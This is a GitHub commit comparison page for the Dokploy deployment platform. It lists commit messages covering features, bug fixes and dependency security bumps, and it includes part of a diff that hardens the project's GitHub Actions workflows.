Compare commits

...

120 Commits

Author SHA1 Message Date
Narciso f48ebf0bcb fix(project-export-import): don't deploy services whose files failed to write 2026-10-15 18:22:38 -04:00
Narciso 8383f48bd0 fix(project-export-import): keep restoring dumps when file writes fail, check local networks correctly 2026-10-15 18:12:57 -04:00
Narciso 3f90bb9159 fix(project-export-import): address review findings
- Allow absolute bind mount host paths on import
- Create imported networks in Docker and only reuse a network on the target server
- Register imported enabled backups, volume backups and schedules
- Write file mounts before restoring dumps; remove import files when the job ends
- Claim the import before validating so it cannot start twice
- Rewrite app names in project, environment and build variables; keep source project variables when importing into an existing project
- Only reuse the raw Traefik config when the imported domains are unchanged
- Validate conflict renames and detect database external port conflicts
- Skip rotation when a root password is unsafe
- Detect uploaded certificates by the hosts they cover
- Export shared resources by value in organization exports
- Fix Back after unlock and the missing "Create from bundle" option in the import wizard
2026-10-15 17:56:51 -04:00
Narciso 63a1a0c89f feat(project-export-import): export and import projects between Dokploy instances
Export a project (or a scoped subset of its environments and services) into an
encrypted .dokploy.tar.gz bundle, and import it as a new project or into an
existing one, on the same or another instance.

- Capture -> serialize -> plan -> apply pipeline with requirement detection
  and resolution for external dependencies (git providers, registries,
  destinations, vaults, SSH keys, networks, certificates, servers).
- The whole payload is encrypted with AES-256-GCM using a scrypt key derived
  from the passphrase; secrets are never written to disk in plaintext.
- appName/domain/port conflict detection with per-conflict resolutions,
  cross-org guards on every reused resource, one active transfer per user and
  a cleanup sweep for abandoned jobs.
- Optional database dumps (postgres, mysql, mariadb, mongo, libsql) embedded
  in the bundle or streamed through a destination, with opt-in credential
  rotation on import.
- Bundles can be downloaded or uploaded to a destination; whole-organization
  export to a destination; Settings -> Exports page to manage remote bundles.
- SSH keepalive on remote commands so a dead server fails the job instead of
  hanging it forever.
2026-10-15 17:31:23 -04:00
Narciso E. Núñez Arias e0006758c0 Merge pull request #5517 from Dokploy/dependabots-alerts
Dependabots alerts fixes
2026-10-14 16:14:50 -04:00
Yash Kumar d9fe046396 Merge pull request #5661 from manozzo/fix/template-card-tags-overflow
fix(templates): cap visible tags so the Create button stays visible
2026-10-15 01:33:09 +05:30
Yash Kumar bfe24f89f9 Update undici version to 6.28.1 2026-10-15 01:07:55 +05:30
Yash Kumar 502d6c8a18 Merge branch 'canary' into dependabots-alerts 2026-10-15 00:44:53 +05:30
Yash Kumar 9e87b9e401 Merge pull request #5613 from Dokploy/fix/member-server-list
fix(server): let members list servers in server pickers
2026-10-15 00:30:43 +05:30
Yash Kumar a7d8dff360 Merge pull request #5624 from Dokploy/feat/logs-and-metrics
feat(logs-and-metrics): ship container logs and metrics to external providers via Vector
2026-10-15 00:08:48 +05:30
Rodrigo Manozzo 94f3815eb4 fix(templates): cap visible tags so the Create button stays visible
Template cards have a fixed height, and the header rendered every tag.
Portabase has 27, which pushed the description and footer (Create
button) out of the card. Show the first 6 tags plus a "+N" badge whose
title lists the rest.

Closes #5660

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-10-12 20:59:09 -03:00
Narciso E. Núñez Arias 931f5c1335 Merge pull request #5654 from olivier-drieux/fix/restore-backup-service-name
fix(backups): preserve service name when changing database type
2026-10-12 10:46:09 -04:00
Narciso E. Núñez Arias aae2dd9377 Merge pull request #5656 from Totopo27/fix/gh-5600-service-card-description-overflow
fix(ui): wrap and clamp service card description on environment page
2026-10-12 10:38:37 -04:00
Narciso E. Núñez Arias fe3912dc4b Merge pull request #5657 from Totopo27/feat/gh-5546-clickable-projects-card-home
feat(ui): make projects card clickable on home dashboard
2026-10-12 10:37:53 -04:00
Narciso E. Núñez Arias ccd26e946b Merge pull request #5655 from ahmedisam99/fix/gitlab-token-refresh-race
fix(gitlab): share one token refresh between concurrent callers
2026-10-12 10:08:10 -04:00
Narciso E. Núñez Arias 29107d88fc Merge pull request #5649 from imrja8/feat/dual-mode-branding
feat(enterprise): dual-mode branding with separate light/dark theme logos
2026-10-12 09:59:25 -04:00
Narciso E. Núñez Arias c7ee0430f7 Merge pull request #5614 from tomron/feat/ovh-optional-zone
feat(dns): add optional zone to OVH provider
2026-10-12 09:38:51 -04:00
Totopo27 3cc8158fdc feat(ui): make projects card clickable on home dashboard 2026-10-12 07:35:35 -06:00
Totopo27 726664ab3c fix(ui): wrap and clamp service card description on environment page 2026-10-12 07:30:51 -06:00
ahmedisam99 20701ba272 test(gitlab): cover concurrent token refreshes 2026-10-12 11:54:35 +03:00
ahmedisam99 412516d47b fix(gitlab): share one token refresh between concurrent callers
GitLab invalidates a refresh token when it is used. Two deployments that found the token expired at the same time sent the same refresh token, and the second one failed with "Failed to refresh token: Bad Request".
2026-10-12 11:54:35 +03:00
Olivier Drieux b4681b318f fix(backups): preserve service selection when changing database type 2026-10-12 09:55:31 +02:00
Yash Kumar 0898642e32 fix(enterprise): preserve light-mode URLs when toggling dual branding off 2026-10-11 20:00:32 +05:30
Yash Kumar d2779136c5 fix(enterprise): address review feedback for dual-mode branding 2026-10-11 19:51:21 +05:30
Yash Kumar 0b537a815d feat(enterprise): dual-mode branding with separate light/dark theme logos 2026-10-11 19:10:06 +05:30
Narciso b329595370 feat(logs-and-metrics): ship container logs and metrics to external providers via Vector 2026-10-08 10:08:10 -04:00
Tom Ron 2674eb200d fix(dns): enforce the configured OVH zone on record operations
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
2026-10-08 09:13:50 +03:00
Tom Ron e8f236c9db feat(dns): add optional zone to OVH provider
Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
2026-10-07 22:02:45 +03:00
Narciso 749bb2c1ce fix(server): let members list servers in server pickers 2026-10-07 14:51:15 -04:00
Narciso 9992659f24 fix(deps): bump nodemailer and patch transitive high advisories 2026-10-07 09:49:40 -04:00
Narciso 88cb057e06 Merge remote-tracking branch 'origin/canary' into dependabots-alerts 2026-10-07 08:49:24 -04:00
Narciso 7289a3f68e fix(deps): bump next, shell-quote and proxy-addr for critical advisories 2026-10-07 08:49:23 -04:00
Mauricio Siu 5be17d3dd0 Merge pull request #5584 from libredb/fix/libsql-app-name-validation
fix(libsql): validate appName like the other database kinds
2026-10-05 10:11:50 -06:00
Narciso E. Núñez Arias 5aa28bc7d3 Merge pull request #5575 from imrja8/fix/tooltip-overlapping-modals
fix(ui): resolve tooltips overlapping open modals on remote servers page
2026-10-05 09:41:01 -04:00
Narciso E. Núñez Arias 20575da9fe Merge pull request #5582 from imrja8/fix/terminal-collapse-on-zoom
fix(terminal): prevent terminal from collapsing on zoom
2026-10-05 09:37:11 -04:00
cevheri 06b3bb282a fix(libsql): validate appName like the other database kinds 2026-10-04 23:06:47 +03:00
Yash Kumar 5c19d1b704 fix(terminal): prevent terminal from collapsing on zoom 2026-10-04 21:37:15 +05:30
autofix-ci[bot] 2bc3741e41 [autofix.ci] apply automated fixes 2026-10-04 08:54:25 +00:00
Yash Kumar 35d26a806b fix(ui): prevent tooltips from getting stuck when server modals close 2026-10-04 14:23:59 +05:30
Yash Kumar a4a13b90b8 fix(ui): resolve tooltips overlapping open modals on remote servers page 2026-10-04 13:52:51 +05:30
Narciso E. Núñez Arias 48504fde4e Merge pull request #5561 from imrja8/revert-5406-fix-settings-layout-width 2026-10-01 10:35:33 -04:00
Yash Kumar 84a1d7093c Revert "fix(ui): standardize settings layout widths to full width" 2026-10-01 19:33:27 +05:30
Mauricio Siu 90d522c846 Merge pull request #5463 from Dokploy/feat/self-delete-account
feat: account deletion for Dokploy Cloud
2026-10-01 00:22:02 -06:00
Mauricio Siu c6a2b2437d Merge branch 'canary' into feat/self-delete-account 2026-09-30 23:53:57 -06:00
Narciso E. Núñez Arias cec5b65cd6 Merge pull request #5482 from qirh/add-perplexity-attribution 2026-09-29 15:01:14 -04:00
Narciso E. Núñez Arias 52f61adfe8 Merge pull request #5022 from Souvik-Cyclic/fix/secure-session-cookie-https-4709
fix: mark session cookie as Secure when served over HTTPS
2026-09-29 13:04:42 -04:00
Narciso E. Núñez Arias 169bac2ef8 Merge pull request #5529 from Souvik-Cyclic/fix/deployment-log-tail-leak-5518
fix: kill deployment log tail when the client disconnects early
2026-09-29 13:04:25 -04:00
Narciso E. Núñez Arias 916bb50e73 fix: redact S3 credentials in backup logs regardless of shell quoting (#5527) 2026-09-29 13:03:59 -04:00
Souvik Kumar 0d3a3966b0 fix: count only physical disks in host Block I/O stats (#5540)
* fix: count only physical disks in host Block I/O stats and skip partitioned md arrays and test the Block I/O sum
2026-09-29 11:47:05 -04:00
Roshan Singh 560e790e73 fix: preserve compose status when saving provider settings (#5544)
* fix: preserve compose status when saving provider settings
2026-09-29 10:58:59 -04:00
Narciso E. Núñez Arias ff2e454dca Merge pull request #5543 from Souvik-Cyclic/fix/webhook-body-size-5537
fix: accept deploy webhook payloads up to 25 MB
2026-09-29 10:37:49 -04:00
Souvik Kumar 82545bf500 revert: go back to a literal 25mb body limit for deploy webhooks 2026-09-29 20:00:05 +05:30
Narciso E. Núñez Arias 302754bd3b Merge pull request #5535 from y4aniv/fix/tab-headers-consistency
fix(ui): unify tab header styles across backups, schedules, volume backups and patches
2026-09-29 10:26:12 -04:00
Narciso E. Núñez Arias 6e7934fc55 Merge pull request #5429 from imrja8/fix/deployments-filter-bar-inline-layout
feat(ui): enhance deployments layout and fix visual jumping
2026-09-29 10:14:34 -04:00
Yash Kumar c18609a127 refactor(ui): remove redundant responsive layout comment 2026-09-29 19:24:03 +05:30
Narciso E. Núñez Arias 618a7df25c Merge pull request #5455 from roshanasingh4/codex/preserve-app-status-on-provider-save
fix: preserve application status when saving provider settings
2026-09-29 09:51:29 -04:00
Souvik Kumar 1c6d333739 fix: parse deploy webhook bodies in the handler so the size limit can be configured 2026-09-29 19:20:41 +05:30
Narciso E. Núñez Arias 72f2c4d5d1 Merge pull request #5498 from imrja8/fix/add-invitation-form-reset
fix: prevent add-invitation form from resetting on submission error
2026-09-29 09:44:47 -04:00
Souvik Kumar e8be2693e0 refactor: make deploy webhook body limit configurable via DEPLOY_WEBHOOK_MAX_BODY_SIZE 2026-09-29 19:06:44 +05:30
Souvik Kumar 4396451095 fix: accept deploy webhook payloads up to 25 MB 2026-09-29 18:37:57 +05:30
Yash Kumar 7dc066a7bd Merge branch 'Dokploy:canary' into fix/deployments-filter-bar-inline-layout 2026-09-29 18:08:41 +05:30
Yash Kumar a0b6f233cb Merge branch 'Dokploy:canary' into fix/add-invitation-form-reset 2026-09-29 18:08:30 +05:30
Mauricio Siu d0ec74fbb8 Merge pull request #5538 from Dokploy/fix/hubspot-chat-widget
fix(cloud): load HubSpot chat widget for startup plan users
2026-09-29 02:05:21 -06:00
Mauricio Siu 382fdfc478 fix(cloud): remove HubSpot chat widget when dashboard unmounts
Logout navigates client-side to the sign-in page, so the widget (mounted
outside React) stayed visible after a startup user logged out.
2026-09-29 01:59:29 -06:00
Mauricio Siu c231c2979b fix(cloud): load HubSpot chat widget for startup plan users
The HubSpot script is loaded app-wide with loadImmediately: false, but
useHubSpotChat was never called, so widget.load() never ran. The old
HubSpotWidget shared the hs-script-loader id and was deduped by next/script.
2026-09-29 01:54:04 -06:00
Yaniv Douieb 3951247ebd fix(ui): unify tab header styles across backups, schedules, volume backups and patches 2026-09-28 17:48:20 +02:00
Souvik Kumar 7b89d1f948 fix: kill deployment log tail when the client disconnects early 2026-09-27 15:27:14 +05:30
Souvik Kumar 6215c7f159 fix: redact S3 credentials in backup logs regardless of shell quoting 2026-09-27 00:23:23 +05:30
Yash Kumar 52ea2ce071 Merge branch 'Dokploy:canary' into fix/deployments-filter-bar-inline-layout 2026-09-26 09:28:03 +05:30
Yash Kumar a0f1a5119c Merge branch 'Dokploy:canary' into fix/add-invitation-form-reset 2026-09-26 09:27:54 +05:30
Narciso Nunez 5e0b021ec2 fix(deps): resolve open Dependabot alerts 2026-09-23 17:40:39 -04:00
Mauricio Siu a0e0574bcd Merge pull request #5515 from Dokploy/fix/trial-billing-interval-switch
fix(billing): allow switching billing interval during trial
2026-09-23 15:09:24 -06:00
Mauricio Siu c453ac3a2f fix(billing): allow switching billing interval during trial
Switching plan mid-trial always forced the monthly price and there was no
way to move to annual. Preserve trial_end on the Stripe update so changing
the interval does not reset the billing cycle and end the trial early.
2026-09-23 15:06:54 -06:00
Yash Kumar 143dfcafe3 fix: correct add-invitation form reset logic and select state 2026-09-21 16:01:50 +05:30
Yash Kumar 3563f585f9 Merge branch 'Dokploy:canary' into fix/deployments-filter-bar-inline-layout 2026-09-20 12:39:36 +05:30
Saleh Alghusson f2ba262499 feat(ai): add Perplexity integration attribution 2026-09-18 13:26:27 -05:00
Dokploy Bot f397c1a862 chore: sync hotfix from main into canary [skip ci] 2026-09-18 09:04:20 +00:00
Mauricio Siu d7d75f7c5c Merge pull request #5477 from Dokploy/feat/trial-expiration-emails
fix(billing): pick a plan for the trial and warn before it expires
2026-09-18 03:04:07 -06:00
Mauricio Siu a0e1001808 feat(trial-notifications): add email notification for expiring trials and integrate with webhook 2026-09-18 03:03:51 -06:00
Mauricio Siu 8236c31fcd Revert "fix(billing): one reminder at 1 day, guarded by an advisory lock"
Revert "fix(billing): stop the reminder claim from rewriting stale metadata"

This reverts commits 037230496 and 14e059784.
2026-09-18 02:49:18 -06:00
Mauricio Siu 037230496c fix(billing): one reminder at 1 day, guarded by an advisory lock
Cloud runs two frontend replicas and node-schedule fires on each, so both
would read the same unset marker and every trial user would get the email
twice. A Postgres advisory lock lets one replica run and the other skip;
it lives in the connection rather than the schema, so no migration.

Drops the 3-day reminder, leaving the single notice before billing starts.
2026-09-18 02:45:46 -06:00
Mauricio Siu 14e059784c fix(billing): stop the reminder claim from rewriting stale metadata
Stripe merges metadata on update, so spreading the snapshot read during
the list call re-asserted stale values over anything written since. Send
only the key being claimed.

The claim is not exclusive and the comment no longer says it is: two
replicas can still read the same unset marker. Marking before the send
only keeps a crash mid-send from resending on the next run.
2026-09-18 02:41:28 -06:00
Mauricio Siu f34151bc12 refactor(billing): drop the runTrialExpirationJob endpoint
Removes the manual trigger and the root guard it needed. The cron job is
the only caller now, so processTrialExpirations goes back to module private.
2026-09-18 02:39:33 -06:00
Mauricio Siu d00ae31920 refactor(billing): drop the sendTestTrialEmail endpoint
The scan endpoint already covers manual runs, so the one-off sender was
redundant. sendTrialExpiringEmail goes back to being module private.
2026-09-18 02:38:02 -06:00
Mauricio Siu 95b2712c26 fix(billing): pick a plan for the trial and warn before it expires
Trials were always Hobby, so a trial user who wanted Startup had to go
through Checkout, which created a second subscription on the same
customer. Seven days later Stripe cancelled the trial sub and the webhook,
matching only on customer id, zeroed serversQuantity and deactivated the
servers of someone who was already paying.

The trial now starts on the plan the user chooses and switching plans
mutates that same subscription, so a customer never holds two.

- startFreeTrial takes a tier; TRIAL_SERVER_LIMIT becomes TRIAL_SERVER_LIMITS
  (Hobby 1 server, Startup 3)
- onboarding offers both plans with a trial and a subscribe button
- billing exposes Switch to Startup/Hobby during the trial and hides the
  checkout CTAs and server steppers that would create a second subscription
- upgradeSubscription caps the server count to the plan's included servers
  while trialing and skips proration, which emitted an orphan invoice
- webhook treats trialing as active instead of disabling servers, and
  guards invoices that carry no subscription
- getBillingStatus reports hasPaymentMethod, so the banners stop asking for
  a card once one is on file
- new cloud-only daily job emails trial users without a payment method at 3
  and 1 days left, deduped through subscription metadata claimed before the
  send so concurrent replicas cannot double-send
2026-09-18 02:35:27 -06:00
Mauricio Siu 318ad36967 feat: restrict self-service account deletion to cloud organization owners 2026-09-14 11:05:26 -06:00
Mauricio Siu a87a5c06f0 feat: account deletion for Dokploy Cloud
Self-service deletion from Settings > Profile confirmed with the account
password (when present) plus a 6-digit code sent by email, and a root-only
"delete by email" tool in the impersonation bar to fulfil GDPR requests.

Both paths run the same flow: cancel every Stripe subscription (customer is
kept for invoicing), delete the user and all owned organizations in one
transaction, anonymize audit trail left in other organizations, reassign
pending invitations to the org owner, remove the HubSpot contact when
HUBSPOT_ACCESS_TOKEN is configured, and log a JSON deletion record.

Also blocks better-auth's raw /admin/remove-user endpoint and makes the
Stripe webhook tolerate subscription/customer events for already deleted
users.
2026-09-14 11:01:47 -06:00
Roshan Singh e120340e77 test: cover status preservation for every provider save 2026-09-13 22:28:06 +05:30
Roshan Singh 0d6e984b54 fix: preserve application status when saving provider settings 2026-09-13 22:22:36 +05:30
Yash Kumar 1e9873b3e4 fix(ui): change filter layout breakpoint to lg to prevent overflow on tablets 2026-09-12 15:59:18 +05:30
Yash Kumar 26317e9126 feat(ui): inline deployments filter bar and fix layout jumping 2026-09-12 15:50:08 +05:30
Mauricio Siu 853ca33659 Merge pull request #5416 from Dokploy/fix/critical-next-rce-16.3.4
fix(deps): bump next to 16.3.4 to patch critical RCE advisories
2026-09-11 02:20:20 -06:00
Mauricio Siu a90c2a662f Merge pull request #5418 from EgerDev/feat/compose-models
feat(compose): support models in Compose specification
2026-09-11 02:20:07 -06:00
EgerDev 45dcdfc5be test(compose): tighten models types and regression tests 2026-09-11 00:11:40 -07:00
EgerDev 29cdc815db feat(compose): support AI models in Compose specification 2026-09-10 20:28:28 -07:00
Narciso E. Núñez Arias 9fa98de9c1 Merge pull request #5350 from RezaRahemtola/fix/ntfy-database-backup-newline
fix(notifications): add missing newline to ntfy database backup message
2026-09-10 19:00:08 -04:00
Dokploy Bot a4a1d15656 chore: sync hotfix from main into canary [skip ci] 2026-09-10 22:40:21 +00:00
Narciso E. Núñez Arias 326908869d Merge pull request #5358 from KingIronMan2011/patch-1
feat: added missing Railpack versions
2026-09-10 18:40:09 -04:00
Narciso E. Núñez Arias 18d07c7254 Merge pull request #5364 from maks-oleksyuk/chore/ci-update-actions
chore(ci): update GitHub Actions to latest versions and harden workflows
2026-09-10 18:32:42 -04:00
Narciso 4cd4b83523 fix(deps): bump next to 16.3.4 to patch critical RCE advisories
GHSA-2xp9-vwfh-vxw4 and GHSA-p293-qw3h-jr36
2026-09-10 18:23:38 -04:00
Narciso E. Núñez Arias f91b2e2ca6 Merge pull request #5414 from aspatari/fix/infisical-imported-secrets
fix(vault): read Infisical secrets pulled in through an import
2026-09-10 18:16:08 -04:00
Artur Spatari e70c880612 test(vault): lock the precedence between two imports
Review flagged that multi-import collisions were untested. The order the code
implements is the documented one — Infisical: "If two imports carry a secret
with the same name, the value from the bottom-most import wins" — and the
response lists imports in that order, so sequential assignment matches it.

Added a case with two imports defining the same key. Reversing the merge order
in the client fails it, so the test pins the behaviour rather than restating
the implementation.

vault.test.ts: 58 passed.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-10 10:32:09 +03:00
Artur Spatari 0c1dfe978c fix(vault): read Infisical secrets pulled in through an import
Fixes #5413. A secret brought into a folder with "Import Secrets" was reported
as not found. Two reasons, and the first is easy to miss:

The list endpoint takes the flag in **snake_case**. `includeImports` is
silently ignored — the request still returns 200, with `imports` present but
empty — so the imported secret looked like it simply did not exist. Measured
against app.infisical.com with a registered import (confirmed via
GET /api/v1/secret-imports):

  expandSecretReferences=true                        imports[] empty
  expandSecretReferences=true&includeImports=true    imports[] empty
  expandSecretReferences=true&include_imports=true   imports[] has the secret

Second, imported secrets never appear in `secrets` — they come back in a
separate `imports` array, one entry per source path, which the client did not
read at all.

Imported entries are merged before the folder's own, so a name defined in both
resolves to the local value, matching how Infisical resolves it.

Also measured, for whoever looks next: `/api/v4/secrets` returns imports with
no flag at all, and single-secret reads (`/raw/{name}`) never see an imported
key — 404 on v3, no such route on v4. So a folder listing is the only way to
reach them.

vault.test.ts: 57 passed. Reverting the fix fails the new merge test.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-09-10 10:26:52 +03:00
Mauricio Siu 88118cdb3f Merge pull request #5411 from Dokploy/fix/fresh-volumes-danger-zone
fix(compose): move Fresh Volumes into a Danger Zone with typed confirmation
2026-09-09 17:48:16 -06:00
Mauricio Siu 38d157adc0 fix(compose): move Fresh Volumes into a Danger Zone with typed confirmation 2026-09-09 17:47:16 -06:00
Mauricio Siu 3b1fec5409 Merge pull request #5410 from Dokploy/feat/compose-pull-images
feat(compose): pull latest images on deploy toggle
2026-09-09 17:14:43 -06:00
Mauricio Siu 49b8214e5d feat(compose): add pull latest images on deploy toggle 2026-09-09 17:13:24 -06:00
Mauricio Siu ec31739e0e Merge pull request #5396 from Dokploy/feat/transfer-service-between-servers
feat: transfer services between servers
2026-09-09 13:21:27 -06:00
Narciso E. Núñez Arias d5328703fa Merge pull request #5407 from imrja8/fix-sso-flash 2026-09-09 13:15:29 -04:00
Narciso E. Núñez Arias f4cb26cbf4 Merge pull request #5406 from imrja8/fix-settings-layout-width 2026-09-09 13:12:41 -04:00
Yash Kumar a6c1f3048f fix(ui): standardize settings layout widths to full width 2026-09-09 21:24:03 +05:30
Yash Kumar 9cae609a0a fix(auth): prefetch SSO state in SSR to prevent layout flash 2026-09-09 20:09:23 +05:30
Mauricio Siu 2c234d6e20 test(transfer): shrink pipe payload and set an explicit timeout so the suite does not time out in CI 2026-09-09 02:57:51 -06:00
Mauricio Siu 9dcdb53aa1 feat(transfer): move services between servers with their volumes, mounts and config
Adds a Transfer action on every service page that moves an application,
compose or database to another server without S3: volumes, bind mounts
and deployment logs are streamed through the panel (ssh2/spawn pipe),
file mounts and Traefik config are recreated on the target, the source
is cleaned up and the service is deployed on the target. Failures before
cleanup roll back to the source server.
2026-09-09 02:50:29 -06:00
Mauricio Siu bda8124291 Merge pull request #5351 from Dokploy/fix/dependabot-critical-security-updates
fix: resolve 6 critical Dependabot alerts
2026-09-08 16:29:38 -06:00
Maks Oleksyuk 96778433db chore(ci): update GitHub Actions to latest versions and fix zizmor findings 2026-09-07 10:42:08 +03:00
Julian Speckmann f25810fa72 Update Railpack versions in show.tsx
Added new Railpack versions to the list.
2026-09-06 02:11:29 +02:00
Reza Rahemtola 341f38bba6 fix(notifications): add missing newline to ntfy database backup message 2026-09-04 21:29:07 +02:00
Narciso 19589694ea fix: resolve 6 critical Dependabot alerts
- tar >=7.5.19 (GHSA-23hp-3jrh-7fpw): decompression DoS, pinned via
  pnpm override within 7.x (transitive via @mapbox/node-pre-gyp)
- protobufjs >=7.5.5 (GHSA-xq3m-2v4x-88gg): arbitrary code execution,
  pinned via pnpm override within 7.x (transitive via @grpc/proto-loader,
  @opentelemetry/otlp-transformer)
- shell-quote ^1.8.4 (GHSA-w7jw-789q-3m8p): quote() didn't escape
  newlines in object .op values (direct dep, used for docker/ssh
  command building)
- vitest ^4.1.0 (GHSA-5xrq-8626-4rwp): arbitrary file read/execute via
  UI server (devDependency)
- github.com/gofiber/fiber/v2 v2.52.11 (GHSA-68rr-p4fp-j59v): insecure
  UUIDv4 fallback on crypto/rand failure (apps/monitoring)
- next (GHSA-f82v-jwr5-mffw): authorization bypass in middleware, was
  a transitive dep of react-email in the standalone
  packages/server/src/emails lockfile; regenerating against the
  current react-email version (6.9.3) drops next.js entirely, since
  it no longer uses it for the preview server

Verified: typecheck (server + app) clean, full vitest suite
(947 passed / 5 env-conditional skips, 0 failures), go build/vet/test
clean for apps/monitoring.
2026-09-03 17:51:40 -04:00
Souvik Kumar f5c21db1ef fix: mark session cookie as Secure when served over HTTPS
Self-hosted better-auth is configured with secure cookies off so plain
HTTP access (http://<ip>:3000) keeps working, but that also meant the
session cookie never got the Secure attribute even behind HTTPS. A cookie
without Secure can be replayed over plain HTTP.

Add Secure to the auth response cookies per request when X-Forwarded-Proto
is https (what Traefik sends on TLS), leaving plain-HTTP requests untouched.

Fixes #4709
2026-08-09 21:05:37 +05:30
306 changed files with 62260 additions and 6822 deletions
+14 -14
View File
@@ -14,34 +14,34 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout Repository
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
fetch-depth: 0
- name: Get version from package.json
run: echo "VERSION=$(jq -r .version ./apps/dokploy/package.json)" >> $GITHUB_ENV
run: echo "VERSION=$(jq -r .version ./apps/dokploy/package.json)" >> "$GITHUB_ENV"
- name: Get latest GitHub tag
run: |
LATEST_TAG=$(git ls-remote --tags origin | awk -F'/' '{print $3}' | sort -V | tail -n1)
echo "LATEST_TAG=$LATEST_TAG" >> $GITHUB_ENV
echo $LATEST_TAG
echo "LATEST_TAG=$LATEST_TAG" >> "$GITHUB_ENV"
echo "$LATEST_TAG"
- name: Compare versions
run: |
if [ "${{ env.VERSION }}" != "${{ env.LATEST_TAG }}" ]; then
if [ "$VERSION" != "$LATEST_TAG" ]; then
VERSION_CHANGED="true"
else
VERSION_CHANGED="false"
fi
echo "VERSION_CHANGED=$VERSION_CHANGED" >> $GITHUB_ENV
echo "VERSION_CHANGED=$VERSION_CHANGED" >> "$GITHUB_ENV"
echo "Comparing versions:"
echo "Current version: ${{ env.VERSION }}"
echo "Latest tag: ${{ env.LATEST_TAG }}"
echo "Current version: $VERSION"
echo "Latest tag: $LATEST_TAG"
echo "Version changed: $VERSION_CHANGED"
- name: Check if a PR already exists
run: |
PR_EXISTS=$(gh pr list --state open --base main --head canary --json number --jq '. | length')
echo "PR_EXISTS=$PR_EXISTS" >> $GITHUB_ENV
echo "PR_EXISTS=$PR_EXISTS" >> "$GITHUB_ENV"
env:
GH_TOKEN: ${{ secrets.GH_PAT }}
@@ -56,12 +56,12 @@ jobs:
git push origin canary
gh pr create \
--title "🚀 Release ${{ env.VERSION }}" \
--body '
This PR promotes changes from `canary` to `main` for version ${{ env.VERSION }}.
--title "🚀 Release $VERSION" \
--body "
This PR promotes changes from \`canary\` to \`main\` for version $VERSION.
### 🔍 Changes Include:
- Version bump to ${{ env.VERSION }}
- Version bump to $VERSION
- All changes from canary branch
### ✅ Pre-merge Checklist:
@@ -69,7 +69,7 @@ jobs:
- [ ] Documentation updated
- [ ] Docker images built and tested
> 🤖 This PR was automatically generated by [GitHub Actions](https://github.com/actions)' \
> 🤖 This PR was automatically generated by [GitHub Actions](https://github.com/actions)" \
--base main \
--head canary \
--label "release" --label "automated pr" || true \
+28 -19
View File
@@ -5,33 +5,38 @@ on:
branches: [main, canary]
workflow_dispatch:
permissions:
contents: read
jobs:
build-and-push-cloud-image:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v3
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set tag and version
id: meta-cloud
run: |
VERSION=$(jq -r .version apps/dokploy/package.json)
echo "version=$VERSION" >> $GITHUB_OUTPUT
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "tags=siumauricio/cloud:latest,siumauricio/cloud:${VERSION}" >> $GITHUB_OUTPUT
echo "version=$VERSION" >> "$GITHUB_OUTPUT"
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
echo "tags=siumauricio/cloud:latest,siumauricio/cloud:${VERSION}" >> "$GITHUB_OUTPUT"
else
echo "tags=siumauricio/cloud:canary" >> $GITHUB_OUTPUT
echo "tags=siumauricio/cloud:canary" >> "$GITHUB_OUTPUT"
fi
- name: Log in to Docker Hub
uses: docker/login-action@v2
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Build and push Docker image
uses: docker/build-push-action@v4
uses: docker/build-push-action@v7
with:
context: .
file: ./Dockerfile.cloud
@@ -48,26 +53,28 @@ jobs:
steps:
- name: Checkout repository
uses: actions/checkout@v3
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set tag and version
id: meta-schedule
run: |
VERSION=$(jq -r .version apps/dokploy/package.json)
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "tags=siumauricio/schedule:latest,siumauricio/schedule:${VERSION}" >> $GITHUB_OUTPUT
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
echo "tags=siumauricio/schedule:latest,siumauricio/schedule:${VERSION}" >> "$GITHUB_OUTPUT"
else
echo "tags=siumauricio/schedule:canary" >> $GITHUB_OUTPUT
echo "tags=siumauricio/schedule:canary" >> "$GITHUB_OUTPUT"
fi
- name: Log in to Docker Hub
uses: docker/login-action@v2
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Build and push Docker image
uses: docker/build-push-action@v4
uses: docker/build-push-action@v7
with:
context: .
file: ./Dockerfile.schedule
@@ -80,26 +87,28 @@ jobs:
steps:
- name: Checkout repository
uses: actions/checkout@v3
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set tag and version
id: meta-server
run: |
VERSION=$(jq -r .version apps/dokploy/package.json)
if [ "${{ github.ref }}" = "refs/heads/main" ]; then
echo "tags=siumauricio/server:latest,siumauricio/server:${VERSION}" >> $GITHUB_OUTPUT
if [ "$GITHUB_REF" = "refs/heads/main" ]; then
echo "tags=siumauricio/server:latest,siumauricio/server:${VERSION}" >> "$GITHUB_OUTPUT"
else
echo "tags=siumauricio/server:canary" >> $GITHUB_OUTPUT
echo "tags=siumauricio/server:canary" >> "$GITHUB_OUTPUT"
fi
- name: Log in to Docker Hub
uses: docker/login-action@v2
uses: docker/login-action@v4
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Build and push Docker image
uses: docker/build-push-action@v4
uses: docker/build-push-action@v7
with:
context: .
file: ./Dockerfile.server
+60 -42
View File
@@ -8,18 +8,23 @@ on:
env:
IMAGE_NAME: dokploy/dokploy
permissions:
contents: read
jobs:
docker-amd:
runs-on: ubuntu-22.04
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v7
with:
persist-credentials: false
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
uses: docker/setup-buildx-action@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
